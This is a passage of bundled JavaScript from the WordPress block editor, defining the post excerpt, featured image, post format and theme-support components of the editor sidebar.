    const _usedAttribute = ['wp_template', 'wp_template_part'].includes(postType) ? 'description' : 'excerpt';
    return {
      excerpt: getEditedPostAttribute(_usedAttribute),
      // There are special cases where we want to label the excerpt as a description.
      shouldUseDescriptionLabel: ['wp_template', 'wp_template_part', 'wp_block'].includes(postType),
      usedAttribute: _usedAttribute
    };
  }, []);
  const {
    editPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const [localExcerpt, setLocalExcerpt] = (0,external_wp_element_namespaceObject.useState)((0,external_wp_htmlEntities_namespaceObject.decodeEntities)(excerpt));
  const updatePost = value => {
    editPost({
      [usedAttribute]: value
    });
  };
  const label = shouldUseDescriptionLabel ? (0,external_wp_i18n_namespaceObject.__)('Write a description (optional)') : (0,external_wp_i18n_namespaceObject.__)('Write an excerpt (optional)');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "editor-post-excerpt",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextareaControl, {
      __nextHasNoMarginBottom: true,
      label: label,
      hideLabelFromVision: hideLabelFromVision,
      className: "editor-post-excerpt__textarea",
      onChange: updateOnBlur ? setLocalExcerpt : updatePost,
      onBlur: updateOnBlur ? () => updatePost(localExcerpt) : undefined,
      value: updateOnBlur ? localExcerpt : excerpt,
      help: !shouldUseDescriptionLabel ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, {
        href: (0,external_wp_i18n_namespaceObject.__)('https://wordpress.org/documentation/article/page-post-settings-sidebar/#excerpt'),
        children: (0,external_wp_i18n_namespaceObject.__)('Learn more about manual excerpts')
      }) : (0,external_wp_i18n_namespaceObject.__)('Write a description')
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-excerpt/check.js
/**
 * Internal dependencies
 */


/**
 * Component for checking if the post type supports the excerpt field.
 *
 * @param {Object}          props          Props.
 * @param {React.ReactNode} props.children Children to be rendered.
 *
 * @return {React.ReactNode} The rendered component.
 */

function PostExcerptCheck({
  children
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check, {
    supportKeys: "excerpt",
    children: children
  });
}
/* harmony default export */ const post_excerpt_check = (PostExcerptCheck);

;// ./node_modules/@wordpress/editor/build-module/components/post-excerpt/plugin.js
/**
 * Defines as extensibility slot for the Excerpt panel.
 */

/**
 * WordPress dependencies
 */


const {
  Fill: plugin_Fill,
  Slot: plugin_Slot
} = (0,external_wp_components_namespaceObject.createSlotFill)('PluginPostExcerpt');

/**
 * Renders a post excerpt panel in the post sidebar.
 *
 * @param {Object}          props             Component properties.
 * @param {string}          [props.className] An optional class name added to the row.
 * @param {React.ReactNode} props.children    Children to be rendered.
 *
 * @example
 * ```js
 * // Using ES5 syntax
 * var __ = wp.i18n.__;
 * var PluginPostExcerpt = wp.editPost.__experimentalPluginPostExcerpt;
 *
 * function MyPluginPostExcerpt() {
 * 	return React.createElement(
 * 		PluginPostExcerpt,
 * 		{
 * 			className: 'my-plugin-post-excerpt',
 * 		},
 * 		__( 'Post excerpt custom content' )
 * 	)
 * }
 * ```
 *
 * @example
 * ```jsx
 * // Using ESNext syntax
 * import { __ } from '@wordpress/i18n';
 * import { __experimentalPluginPostExcerpt as PluginPostExcerpt } from '@wordpress/edit-post';
 *
 * const MyPluginPostExcerpt = () => (
 * 	<PluginPostExcerpt className="my-plugin-post-excerpt">
 * 		{ __( 'Post excerpt custom content' ) }
 * 	</PluginPostExcerpt>
 * );
 * ```
 *
 * @return {React.ReactNode} The rendered component.
 */
const PluginPostExcerpt = ({
  children,
  className
}) => {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_Fill, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelRow, {
      className: className,
      children: children
    })
  });
};
PluginPostExcerpt.Slot = plugin_Slot;
/* harmony default export */ const post_excerpt_plugin = (PluginPostExcerpt);

;// ./node_modules/@wordpress/editor/build-module/components/post-excerpt/panel.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */






/**
 * Module Constants
 */

const post_excerpt_panel_PANEL_NAME = 'post-excerpt';
function ExcerptPanel() {
  const {
    isOpened,
    isEnabled,
    postType
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      isEditorPanelOpened,
      isEditorPanelEnabled,
      getCurrentPostType
    } = select(store_store);
    return {
      isOpened: isEditorPanelOpened(post_excerpt_panel_PANEL_NAME),
      isEnabled: isEditorPanelEnabled(post_excerpt_panel_PANEL_NAME),
      postType: getCurrentPostType()
    };
  }, []);
  const {
    toggleEditorPanelOpened
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const toggleExcerptPanel = () => toggleEditorPanelOpened(post_excerpt_panel_PANEL_NAME);
  if (!isEnabled) {
    return null;
  }

  // There are special cases where we want to label the excerpt as a description.
  const shouldUseDescriptionLabel = ['wp_template', 'wp_template_part', 'wp_block'].includes(postType);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, {
    title: shouldUseDescriptionLabel ? (0,external_wp_i18n_namespaceObject.__)('Description') : (0,external_wp_i18n_namespaceObject.__)('Excerpt'),
    opened: isOpened,
    onToggle: toggleExcerptPanel,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_excerpt_plugin.Slot, {
      children: fills => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostExcerpt, {}), fills]
      })
    })
  });
}

/**
 * Is rendered if the post type supports excerpts and allows editing the excerpt.
 *
 * @return {React.ReactNode} The rendered PostExcerptPanel component.
 */
function PostExcerptPanel() {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_excerpt_check, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ExcerptPanel, {})
  });
}
function PrivatePostExcerptPanel() {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_excerpt_check, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PrivateExcerpt, {})
  });
}
function PrivateExcerpt() {
  const {
    shouldRender,
    excerpt,
    shouldBeUsedAsDescription,
    allowEditing
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostType,
      getCurrentPostId,
      getEditedPostAttribute,
      isEditorPanelEnabled
    } = select(store_store);
    const postType = getCurrentPostType();
    const isTemplateOrTemplatePart = ['wp_template', 'wp_template_part'].includes(postType);
    const isPattern = postType === 'wp_block';
    // These post types use the `excerpt` field as a description semantically, so we need to
    // handle proper labeling and some flows where we should always render them as text.
    const _shouldBeUsedAsDescription = isTemplateOrTemplatePart || isPattern;
    const _usedAttribute = isTemplateOrTemplatePart ? 'description' : 'excerpt';
    // We need to fetch the entity in this case to check if we'll allow editing.
    const template = isTemplateOrTemplatePart && select(external_wp_coreData_namespaceObject.store).getEntityRecord('postType', postType, getCurrentPostId());
    // For post types that use excerpt as description, we do not abide
    // by the `isEnabled` panel flag in order to render them as text.
    const _shouldRender = isEditorPanelEnabled(post_excerpt_panel_PANEL_NAME) || _shouldBeUsedAsDescription;
    return {
      excerpt: getEditedPostAttribute(_usedAttribute),
      shouldRender: _shouldRender,
      shouldBeUsedAsDescription: _shouldBeUsedAsDescription,
      // If we should render, allow editing for all post types that are not used as description.
      // For the rest allow editing only for user generated entities.
      allowEditing: _shouldRender && (!_shouldBeUsedAsDescription || isPattern || template && template.source === TEMPLATE_ORIGINS.custom && !template.has_theme_file && template.is_custom)
    };
  }, []);
  const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
  const label = shouldBeUsedAsDescription ? (0,external_wp_i18n_namespaceObject.__)('Description') : (0,external_wp_i18n_namespaceObject.__)('Excerpt');
  // Memoize popoverProps to avoid returning a new object every time.
  const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    // Anchor the popover to the middle of the entire row so that it doesn't
    // move around when the label changes.
    anchor: popoverAnchor,
    'aria-label': label,
    headerTitle: label,
    placement: 'left-start',
    offset: 36,
    shift: true
  }), [popoverAnchor, label]);
  if (!shouldRender) {
    return false;
  }
  const excerptText = !!excerpt && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
    align: "left",
    numberOfLines: 4,
    truncate: allowEditing,
    children: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(excerpt)
  });
  if (!allowEditing) {
    return excerptText;
  }
  const excerptPlaceholder = shouldBeUsedAsDescription ? (0,external_wp_i18n_namespaceObject.__)('Add a description…') : (0,external_wp_i18n_namespaceObject.__)('Add an excerpt…');
  const triggerEditLabel = shouldBeUsedAsDescription ? (0,external_wp_i18n_namespaceObject.__)('Edit description') : (0,external_wp_i18n_namespaceObject.__)('Edit excerpt');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    children: [excerptText, /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
      className: "editor-post-excerpt__dropdown",
      contentClassName: "editor-post-excerpt__dropdown__content",
      popoverProps: popoverProps,
      focusOnMount: true,
      ref: setPopoverAnchor,
      renderToggle: ({
        onToggle
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        __next40pxDefaultSize: true,
        onClick: onToggle,
        variant: "link",
        children: excerptText ? triggerEditLabel : excerptPlaceholder
      }),
      renderContent: ({
        onClose
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader, {
          title: label,
          onClose: onClose
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
          spacing: 4,
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_excerpt_plugin.Slot, {
            children: fills => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostExcerpt, {
                hideLabelFromVision: true,
                updateOnBlur: true
              }), fills]
            })
          })
        })]
      })
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/theme-support-check/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


/**
 * Checks if the current theme supports specific features and renders the children if supported.
 *
 * @param {Object}          props             The component props.
 * @param {React.ReactNode} props.children    The children to render if the theme supports the specified features.
 * @param {string|string[]} props.supportKeys The key(s) of the theme support(s) to check.
 *
 * @return {React.ReactNode} The rendered children if the theme supports the specified features, otherwise null.
 */
function ThemeSupportCheck({
  children,
  supportKeys
}) {
  const {
    postType,
    themeSupports
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return {
      postType: select(store_store).getEditedPostAttribute('type'),
      themeSupports: select(external_wp_coreData_namespaceObject.store).getThemeSupports()
    };
  }, []);
  const isSupported = (Array.isArray(supportKeys) ? supportKeys : [supportKeys]).some(key => {
    var _themeSupports$key;
    const supported = (_themeSupports$key = themeSupports?.[key]) !== null && _themeSupports$key !== void 0 ? _themeSupports$key : false;
    // 'post-thumbnails' can be boolean or an array of post types.
    // In the latter case, we need to verify `postType` exists
    // within `supported`. If `postType` isn't passed, then the check
    // should fail.
    if ('post-thumbnails' === key && Array.isArray(supported)) {
      return supported.includes(postType);
    }
    return supported;
  });
  if (!isSupported) {
    return null;
  }
  return children;
}

;// ./node_modules/@wordpress/editor/build-module/components/post-featured-image/check.js
/**
 * Internal dependencies
 */



/**
 * Wrapper component that renders its children only if the post type supports a featured image
 * and the theme supports post thumbnails.
 *
 * @param {Object}          props          Props.
 * @param {React.ReactNode} props.children Children to be rendered.
 *
 * @return {React.ReactNode} The rendered component.
 */

function PostFeaturedImageCheck({
  children
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ThemeSupportCheck, {
    supportKeys: "post-thumbnails",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check, {
      supportKeys: "thumbnail",
      children: children
    })
  });
}
/* harmony default export */ const post_featured_image_check = (PostFeaturedImageCheck);

;// ./node_modules/@wordpress/editor/build-module/components/post-featured-image/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */










/**
 * Internal dependencies
 */



const ALLOWED_MEDIA_TYPES = ['image'];

// Used when labels from post type were not yet loaded or when they are not present.
const DEFAULT_FEATURE_IMAGE_LABEL = (0,external_wp_i18n_namespaceObject.__)('Featured image');
const DEFAULT_SET_FEATURE_IMAGE_LABEL = (0,external_wp_i18n_namespaceObject.__)('Add a featured image');
const instructions = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
  children: (0,external_wp_i18n_namespaceObject.__)('To edit the featured image, you need permission to upload media.')
});
function getMediaDetails(media, postId) {
  var _media$media_details$, _media$media_details$2;
  if (!media) {
    return {};
  }
  const defaultSize = (0,external_wp_hooks_namespaceObject.applyFilters)('editor.PostFeaturedImage.imageSize', 'large', media.id, postId);
  if (defaultSize in ((_media$media_details$ = media?.media_details?.sizes) !== null && _media$media_details$ !== void 0 ? _media$media_details$ : {})) {
    return {
      mediaWidth: media.media_details.sizes[defaultSize].width,
      mediaHeight: media.media_details.sizes[defaultSize].height,
      mediaSourceUrl: media.media_details.sizes[defaultSize].source_url
    };
  }

  // Use fallbackSize when defaultSize is not available.
  const fallbackSize = (0,external_wp_hooks_namespaceObject.applyFilters)('editor.PostFeaturedImage.imageSize', 'thumbnail', media.id, postId);
  if (fallbackSize in ((_media$media_details$2 = media?.media_details?.sizes) !== null && _media$media_details$2 !== void 0 ? _media$media_details$2 : {})) {
    return {
      mediaWidth: media.media_details.sizes[fallbackSize].width,
      mediaHeight: media.media_details.sizes[fallbackSize].height,
      mediaSourceUrl: media.media_details.sizes[fallbackSize].source_url
    };
  }

  // Use full image size when fallbackSize and defaultSize are not available.
  return {
    mediaWidth: media.media_details.width,
    mediaHeight: media.media_details.height,
    mediaSourceUrl: media.source_url
  };
}
function PostFeaturedImage({
  currentPostId,
  featuredImageId,
  onUpdateImage,
  onRemoveImage,
  media,
  postType,
  noticeUI,
  noticeOperations,
  isRequestingFeaturedImageMedia
}) {
  const returnsFocusRef = (0,external_wp_element_namespaceObject.useRef)(false);
  const [isLoading, setIsLoading] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    getSettings
  } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
  const {
    mediaSourceUrl
  } = getMediaDetails(media, currentPostId);
  function onDropFiles(filesList) {
    getSettings().mediaUpload({
      allowedTypes: ALLOWED_MEDIA_TYPES,
      filesList,
      onFileChange([image]) {
        if ((0,external_wp_blob_namespaceObject.isBlobURL)(image?.url)) {
          setIsLoading(true);
          return;
        }
        if (image) {
          onUpdateImage(image);
        }
        setIsLoading(false);
      },
      onError(message) {
        noticeOperations.removeAllNotices();
        noticeOperations.createErrorNotice(message);
      },
      multiple: false
    });
  }

  /**
   * Generates the featured image alt text for this editing context.
   *
   * @param {Object} imageMedia                               The image media object.
   * @param {string} imageMedia.alt_text                      The alternative text of the image.
   * @param {Object} imageMedia.media_details                 The media details of the image.
   * @param {Object} imageMedia.media_details.sizes           The sizes of the image.
   * @param {Object} imageMedia.media_details.sizes.full      The full size details of the image.
   * @param {string} imageMedia.media_details.sizes.full.file The file name of the full size image.
   * @param {string} imageMedia.slug                          The slug of the image.
   * @return {string} The featured image alt text.
   */
  function getImageDescription(imageMedia) {
    if (imageMedia.alt_text) {
      return (0,external_wp_i18n_namespaceObject.sprintf)(
      // Translators: %s: The selected image alt text.
      (0,external_wp_i18n_namespaceObject.__)('Current image: %s'), imageMedia.alt_text);
    }
    return (0,external_wp_i18n_namespaceObject.sprintf)(
    // Translators: %s: The selected image filename.
    (0,external_wp_i18n_namespaceObject.__)('The current image has no alternative text. The file name is: %s'), imageMedia.media_details.sizes?.full?.file || imageMedia.slug);
  }
  function returnFocus(node) {
    if (returnsFocusRef.current && node) {
      node.focus();
      returnsFocusRef.current = false;
    }
  }
  const isMissingMedia = !isRequestingFeaturedImageMedia && !!featuredImageId && !media;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(post_featured_image_check, {
    children: [noticeUI, /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      className: "editor-post-featured-image",
      children: [media && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        id: `editor-post-featured-image-${featuredImageId}-describedby`,
        className: "hidden",
        children: getImageDescription(media)
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.MediaUploadCheck, {
        fallback: instructions,
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.MediaUpload, {
          title: postType?.labels?.featured_image || DEFAULT_FEATURE_IMAGE_LABEL,
          onSelect: onUpdateImage,
          unstableFeaturedImageFlow: true,
          allowedTypes: ALLOWED_MEDIA_TYPES,
          modalClass: "editor-post-featured-image__media-modal",
          render: ({
            open
          }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
            className: "editor-post-featured-image__container",
            children: [isMissingMedia ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, {
              status: "warning",
              isDismissible: false,
              children: (0,external_wp_i18n_namespaceObject.__)('Could not retrieve the featured image data.')
            }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Button, {
              __next40pxDefaultSize: true,
              ref: returnFocus,
              className: !featuredImageId ? 'editor-post-featured-image__toggle' : 'editor-post-featured-image__preview',
              onClick: open,
              "aria-label": !featuredImageId ? null : (0,external_wp_i18n_namespaceObject.__)('Edit or replace the featured image'),
              "aria-describedby": !featuredImageId ? null : `editor-post-featured-image-${featuredImageId}-describedby`,
              "aria-haspopup": "dialog",
              disabled: isLoading,
              accessibleWhenDisabled: true,
              children: [!!featuredImageId && media && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
                className: "editor-post-featured-image__preview-image",
                src: mediaSourceUrl,
                alt: getImageDescription(media)
              }), (isLoading || isRequestingFeaturedImageMedia) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}), !featuredImageId && !isLoading && (postType?.labels?.set_featured_image || DEFAULT_SET_FEATURE_IMAGE_LABEL)]
            }), !!featuredImageId && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
              className: dist_clsx('editor-post-featured-image__actions', {
                'editor-post-featured-image__actions-missing-image': isMissingMedia,
                'editor-post-featured-image__actions-is-requesting-image': isRequestingFeaturedImageMedia
              }),
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
                __next40pxDefaultSize: true,
                className: "editor-post-featured-image__action",
                onClick: open,
                "aria-haspopup": "dialog",
                variant: isMissingMedia ? 'secondary' : undefined,
                children: (0,external_wp_i18n_namespaceObject.__)('Replace')
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
                __next40pxDefaultSize: true,
                className: "editor-post-featured-image__action",
                onClick: () => {
                  onRemoveImage();
                  // Signal that the toggle button should be focused,
                  // when it is rendered. Can't focus it directly here
                  // because it's rendered conditionally.
                  returnsFocusRef.current = true;
                },
                variant: isMissingMedia ? 'secondary' : undefined,
                isDestructive: isMissingMedia,
                children: (0,external_wp_i18n_namespaceObject.__)('Remove')
              })]
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropZone, {
              onFilesDrop: onDropFiles
            })]
          }),
          value: featuredImageId
        })
      })]
    })]
  });
}
const applyWithSelect = (0,external_wp_data_namespaceObject.withSelect)(select => {
  const {
    getMedia,
    getPostType,
    hasFinishedResolution
  } = select(external_wp_coreData_namespaceObject.store);
  const {
    getCurrentPostId,
    getEditedPostAttribute
  } = select(store_store);
  const featuredImageId = getEditedPostAttribute('featured_media');
  return {
    media: featuredImageId ? getMedia(featuredImageId, {
      context: 'view'
    }) : null,
    currentPostId: getCurrentPostId(),
    postType: getPostType(getEditedPostAttribute('type')),
    featuredImageId,
    isRequestingFeaturedImageMedia: !!featuredImageId && !hasFinishedResolution('getMedia', [featuredImageId, {
      context: 'view'
    }])
  };
});
const applyWithDispatch = (0,external_wp_data_namespaceObject.withDispatch)((dispatch, {
  noticeOperations
}, {
  select
}) => {
  const {
    editPost
  } = dispatch(store_store);
  return {
    onUpdateImage(image) {
      editPost({
        featured_media: image.id
      });
    },
    onDropImage(filesList) {
      select(external_wp_blockEditor_namespaceObject.store).getSettings().mediaUpload({
        allowedTypes: ['image'],
        filesList,
        onFileChange([image]) {
          editPost({
            featured_media: image.id
          });
        },
        onError(message) {
          noticeOperations.removeAllNotices();
          noticeOperations.createErrorNotice(message);
        },
        multiple: false
      });
    },
    onRemoveImage() {
      editPost({
        featured_media: 0
      });
    }
  };
});

/**
 * Renders the component for managing the featured image of a post.
 *
 * @param {Object}   props                  Props.
 * @param {number}   props.currentPostId    ID of the current post.
 * @param {number}   props.featuredImageId  ID of the featured image.
 * @param {Function} props.onUpdateImage    Function to call when the image is updated.
 * @param {Function} props.onRemoveImage    Function to call when the image is removed.
 * @param {Object}   props.media            The media object representing the featured image.
 * @param {string}   props.postType         Post type.
 * @param {Element}  props.noticeUI         UI for displaying notices.
 * @param {Object}   props.noticeOperations Operations for managing notices.
 *
 * @return {Element} Component to be rendered .
 */
/* harmony default export */ const post_featured_image = ((0,external_wp_compose_namespaceObject.compose)(external_wp_components_namespaceObject.withNotices, applyWithSelect, applyWithDispatch, (0,external_wp_components_namespaceObject.withFilters)('editor.PostFeaturedImage'))(PostFeaturedImage));

;// ./node_modules/@wordpress/editor/build-module/components/post-featured-image/panel.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */




const post_featured_image_panel_PANEL_NAME = 'featured-image';

/**
 * Renders the panel for the post featured image.
 *
 * @param {Object}  props               Props.
 * @param {boolean} props.withPanelBody Whether to include the panel body. Default true.
 *
 * @return {React.ReactNode} The component to be rendered.
 * Return Null if the editor panel is disabled for featured image.
 */
function PostFeaturedImagePanel({
  withPanelBody = true
}) {
  var _postType$labels$feat;
  const {
    postType,
    isEnabled,
    isOpened
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditedPostAttribute,
      isEditorPanelEnabled,
      isEditorPanelOpened
    } = select(store_store);
    const {
      getPostType
    } = select(external_wp_coreData_namespaceObject.store);
    return {
      postType: getPostType(getEditedPostAttribute('type')),
      isEnabled: isEditorPanelEnabled(post_featured_image_panel_PANEL_NAME),
      isOpened: isEditorPanelOpened(post_featured_image_panel_PANEL_NAME)
    };
  }, []);
  const {
    toggleEditorPanelOpened
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  if (!isEnabled) {
    return null;
  }
  if (!withPanelBody) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_featured_image_check, {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_featured_image, {})
    });
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_featured_image_check, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, {
      title: (_postType$labels$feat = postType?.labels?.featured_image) !== null && _postType$labels$feat !== void 0 ? _postType$labels$feat : (0,external_wp_i18n_namespaceObject.__)('Featured image'),
      opened: isOpened,
      onToggle: () => toggleEditorPanelOpened(post_featured_image_panel_PANEL_NAME),
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_featured_image, {})
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-format/check.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



/**
 * Component check if there are any post formats.
 *
 * @param {Object}          props          The component props.
 * @param {React.ReactNode} props.children The child elements to render.
 *
 * @return {React.ReactNode} The rendered component or null if post formats are disabled.
 */

function PostFormatCheck({
  children
}) {
  const disablePostFormats = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).getEditorSettings().disablePostFormats, []);
  if (disablePostFormats) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check, {
    supportKeys: "post-formats",
    children: children
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-format/index.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */



// All WP post formats, sorted alphabetically by translated name.

const POST_FORMATS = [{
  id: 'aside',
  caption: (0,external_wp_i18n_namespaceObject.__)('Aside')
}, {
  id: 'audio',
  caption: (0,external_wp_i18n_namespaceObject.__)('Audio')
}, {
  id: 'chat',
  caption: (0,external_wp_i18n_namespaceObject.__)('Chat')
}, {
  id: 'gallery',
  caption: (0,external_wp_i18n_namespaceObject.__)('Gallery')
}, {
  id: 'image',
  caption: (0,external_wp_i18n_namespaceObject.__)('Image')
}, {
  id: 'link',
  caption: (0,external_wp_i18n_namespaceObject.__)('Link')
}, {
  id: 'quote',
  caption: (0,external_wp_i18n_namespaceObject.__)('Quote')
}, {
  id: 'standard',
  caption: (0,external_wp_i18n_namespaceObject.__)('Standard')
}, {
  id: 'status',
  caption: (0,external_wp_i18n_namespaceObject.__)('Status')
}, {
  id: 'video',
  caption: (0,external_wp_i18n_namespaceObject.__)('Video')
}].sort((a, b) => {
  const normalizedA = a.caption.toUpperCase();
  const normalizedB = b.caption.toUpperCase();
  if (normalizedA < normalizedB) {
    return -1;
  }
  if (normalizedA > normalizedB) {
    return 1;
  }
  return 0;
});

/**
 * `PostFormat` a component that allows changing the post format while also providing a suggestion for the current post.
 *
 * @example
 * ```jsx
 * <PostFormat />
 * ```
 *
 * @return {React.ReactNode} The rendered PostFormat component.
 */
function PostFormat() {
  const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(PostFormat);
  const postFormatSelectorId = `post-format-selector-${instanceId}`;
  const {
    postFormat,
    suggestedFormat,
    supportedFormats
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditedPostAttribute,
      getSuggestedPostFormat
    } = select(store_store);
    const _postFormat = getEditedPostAttribute('format');
    const themeSupports = select(external_wp_coreData_namespaceObject.store).getThemeSupports();
    return {
      postFormat: _postFormat !== null && _postFormat !== void 0 ? _postFormat : 'standard',
      suggestedFormat: getSuggestedPostFormat(),
      supportedFormats: themeSupports.formats
    };
  }, []);
  const formats = POST_FORMATS.filter(format => {
    // Ensure current format is always in the set.
    // The current format may not be a format supported by the theme.
    return supportedFormats?.includes(format.id) || postFormat === format.id;
  });
  const suggestion = formats.find(format => format.id === suggestedFormat);
  const {
    editPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const onUpdatePostFormat = format => editPost({
    format
  });
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostFormatCheck, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      className: "editor-post-format",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.RadioControl, {
        className: "editor-post-format__options",
        label: (0,external_wp_i18n_namespaceObject.__)('Post Format'),
        selected: postFormat,
        onChange: format => onUpdatePostFormat(format),
        id: postFormatSelectorId,
        options: formats.map(format => ({
          label: format.caption,
          value: format.id
        })),
        hideLabelFromVision: true
      }), suggestion && suggestion.id !== postFormat && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
        className: "editor-post-format__suggestion",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "link",
          onClick: () => onUpdatePostFormat(suggestion.id),
          children: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: post format */
          (0,external_wp_i18n_namespaceObject.__)('Apply suggested format: %s'), suggestion.caption)
        })
      })]
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-last-revision/check.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



/**
 * Wrapper component that renders its children if the post has more than one revision.
 *
 * @param {Object}          props          Props.
 * @param {React.ReactNode} props.children Children to be rendered.
 *
 * @return {React.ReactNode} Rendered child components if post has more than one revision, otherwise null.
 */

function PostLastRevisionCheck({
  children
}) {
  const {
    lastRevisionId,
    revisionsCount
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostLastRevisionId,
